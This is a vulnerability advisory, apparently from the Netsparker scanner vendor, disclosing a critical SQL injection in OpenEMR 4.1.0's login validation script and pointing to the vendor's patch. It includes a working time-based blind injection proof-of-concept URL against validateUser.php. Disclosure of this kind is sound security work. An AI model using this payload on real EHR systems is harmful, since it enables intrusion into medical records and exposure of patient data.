OpenEMR 4.1.0 SQL Injection

`Information  
--------------------  
Name : SQL Injection Vulnerability in OpenEMR  
Software : OpenEMR 4.1.0 and possibly below.  
Vendor Homepage : http://www.open-emr.org  
Vulnerability Type : SQL Injection  
Severity : Critical  
Researcher : Canberk Bolat  
Advisory Reference : NS-12-001  
  
Description  
--------------------  
OpenEMR is a Free and Open Source electronic health records and  
medical practice management application. OpenEMR is ONC Complete  
Ambulatory EHR certified and features fully integrated electronic  
health records, practice management, scheduling, electronic billing  
and internationalization.  
  
Details  
--------------------  
OpenEMR is affected by a SQL Injection vulnerability in version 4.1.0.  
Example PoC url is as follows :  
  
http://example.com/interface/login/validateUser.php?u='%2b(SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)%2b'  
  
You can read the full article about SQL Injection vulnerability from  
here : http://www.mavitunasecurity.com/sql-injection/.  
  
Solution  
--------------------  
The vendor released a patch for this vulnerability. Please see the references.  
  
Credits  
--------------------  
It has been discovered on testing of Netsparker, Web Application  
Security Scanner - http://www.mavitunasecurity.com/netsparker/.  
  
References  
--------------------  
Vendor Url / Patch : http://www.open-emr.org/wiki/index.php/OpenEMR_Patches  
MSL Advisory Link  
:http://www.mavitunasecurity.com/sql-injection-vulnerability-in-openemr/  
Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/  
  
About Netsparker  
--------------------  
Netsparker® can find and report security issues such as SQL Injection  
and Cross-site Scripting (XSS) in all web applications regardless of  
the platform and the technology they are built on. Netsparker's unique  
detection and exploitation techniques allows it to be dead accurate in  
reporting hence it's the first and the only False Positive Free web  
application security scanner.  
  
--   
Netsparker Advisories, <[email protected]>  
Homepage, http://www.mavitunasecurity.com/netsparker-advisories/  
`